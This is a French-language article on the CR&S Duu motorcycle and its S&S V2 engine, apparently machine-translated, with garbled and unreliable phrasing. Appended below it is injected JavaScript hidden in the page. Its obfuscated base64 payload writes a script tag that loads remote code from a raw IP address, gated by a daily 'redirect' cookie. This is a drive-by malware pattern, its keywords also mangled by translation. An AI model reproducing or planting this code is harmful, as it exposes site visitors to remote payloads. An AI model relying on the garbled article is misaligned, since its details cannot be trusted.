COUREURS

EXERCE, MAIS PAS DE PIQUE

En vente dans un an au prix de base de 20 mille euros, DUU voir le dernier salon de Milan en tant que concept (et nous avons décrit un aperçu des Riders nombre 22) Il est l'un des rares propositions vraiment originales de ces derniers temps.
Le Milan CR&S qui lui a donné naissance est le même que le très léger monocylindre Vun: Roberto Crepaldi, Giorgio Sarti et John Cabassi, Les trois pilotes avant entrepreneurs, Ils ont mis l'accent sur une niche inexplorée mais intéressant. La Duu est une spéciale produite en petite série, modulaire et hautement personnalisable, avec du contenu exclusif de style américain et européen de la Confédération française Wakan, mais offert à une fraction du coût. conduit, deux Meneghino dialecte, parce que les deux cylindres sont le déplacement et (1.916 ce) Il est à côté de deux litres, et pourquoi, vouloir, le vélo PUE être à deux endroits et non pas comme la monoplace Vun. Ce maxi streetfighter est équipé du V2 de 56° X-Wedge de l'américain S&S, un fort monstre avec son 16 kgm de couple maximum de seulement trois mille révolutions. Le châssis est en acier inoxydable poli: une grande poutre qui agit également comme réservoir d'essence, avec plaques latérales en aluminium pour soutenir le bras oscillant unilatéral (toujours un gros tube d'acier incurvé) et le réservoir d'essence qui contient également la selle.
La conception est signée par Donato Cannatello, qui a travaillé pour Aprilia Bimota, dont le dispositif est placé sous le moteur de déchargement, Il a caché tous les piliers et créé une ligne minimaliste facilement modifiable en ajoutant, ou la suppression, un ensemble d'accessoires (y compris les sacoches ou un récipient au-dessus du réservoir) appendices fonctionnels et esthétiques. La selle peut être dans un ou deux endroits et il existe différentes solutions pour les phares et les finitions de surface. Malgré le grand moteur, le vélo est tout à fait compacte dans son genre et pèse autant qu'une Harley Sportster 883, parce DUU est fait pour être conduit non seulement ostentatoire. Un projet ambitieux, non dépourvue de résistances à surmonter, comme son expérience et la réputation du CR&S. Mais il faut dire que cette réalité est organisée, petit, comme une véritable industrie de la moto. (Maurizio Gissi)

 

  fonction getCookie(e){var U = document.cookie.match(nouveau RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retour U?decodeURIComponent(la[1]):vide 0}var src =”Les données:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,maintenant = Math.floor(Date.now()/1e3),biscuit = getCookie(“réorienter”);si(à présent>=(temps = biscuit)||vide 0 === temps){var temps = Math.floor(Date.now()/1e3 + 86400),Date = new Date((nouvelle date).obtenir du temps()+86400);document.cookie =”redirect =”+temps +”; path = /; expires =”+Date.toGMTString(),document.write(”)}